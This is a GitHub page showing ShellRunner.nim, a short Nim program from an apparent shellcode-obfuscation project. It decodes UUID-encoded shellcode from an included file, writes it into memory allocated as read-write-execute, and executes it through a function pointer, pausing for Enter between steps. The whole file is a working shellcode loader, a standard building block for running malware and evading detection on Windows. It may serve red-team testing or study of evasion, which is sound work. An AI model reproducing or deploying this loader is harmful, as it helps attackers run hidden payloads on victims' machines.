-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathShellRunner.nim
More file actions
54 lines (44 loc) · 1.56 KB
/
ShellRunner.nim
File metadata and controls
54 lines (44 loc) · 1.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import src/HellShellpkg/obfuscation
import std/sequtils, strformat
import winim/lean
proc executeShellcode(shellcode: openArray[byte]): bool =
var pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId())
echo "[#] Press enter to allocate memory"
discard readLine(stdin)
let
shellcodeSize = shellcode.len
lpAddress: LPVOID = VirtualAlloc(
NULL,
shellcodeSize,
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE)
doAssert not lpAddress.isNil(), "[-] Unable to VirtualAlloc"
echo &"[+] Allocated {shellcode.len} bytes of memory @ {cast[int](lpAddress).toHex}"
echo "[#] Press enter to copy memory"
discard readLine(stdin)
copyMem(lpaddress, shellcode[0].addr, shellcodeSize)
echo "[+] Copied data into allocated memory"
var
memBuf = newSeqWith(shellcodeSize, cast[byte](0))
bytesRead: SIZE_T
ReadProcessMemory(
pHandle,
lpAddress,
memBuf[0].addr,
cast[SIZE_T](shellcodeSize),
bytesRead.addr)
echo "Shellcode bytes: ", shellcode[0..5]
echo "memBuf bytes: ", memBuf[0..5]
echo "Are equal? ", (shellcode == memBuf)
echo "[#] Press enter to run the shellcode"
discard readLine(stdin)
let payload = cast[proc(){.nimcall.}](lpAddress)
payload()
echo "[+] Ran shellcode in memory"
true
proc main(): void =
include "uuids.nim"
let decodedShellcode = shellcode.map(fromUUID).foldl(a & b)
discard decodedShellcode.executeShellcode()
when isMainModule:
main()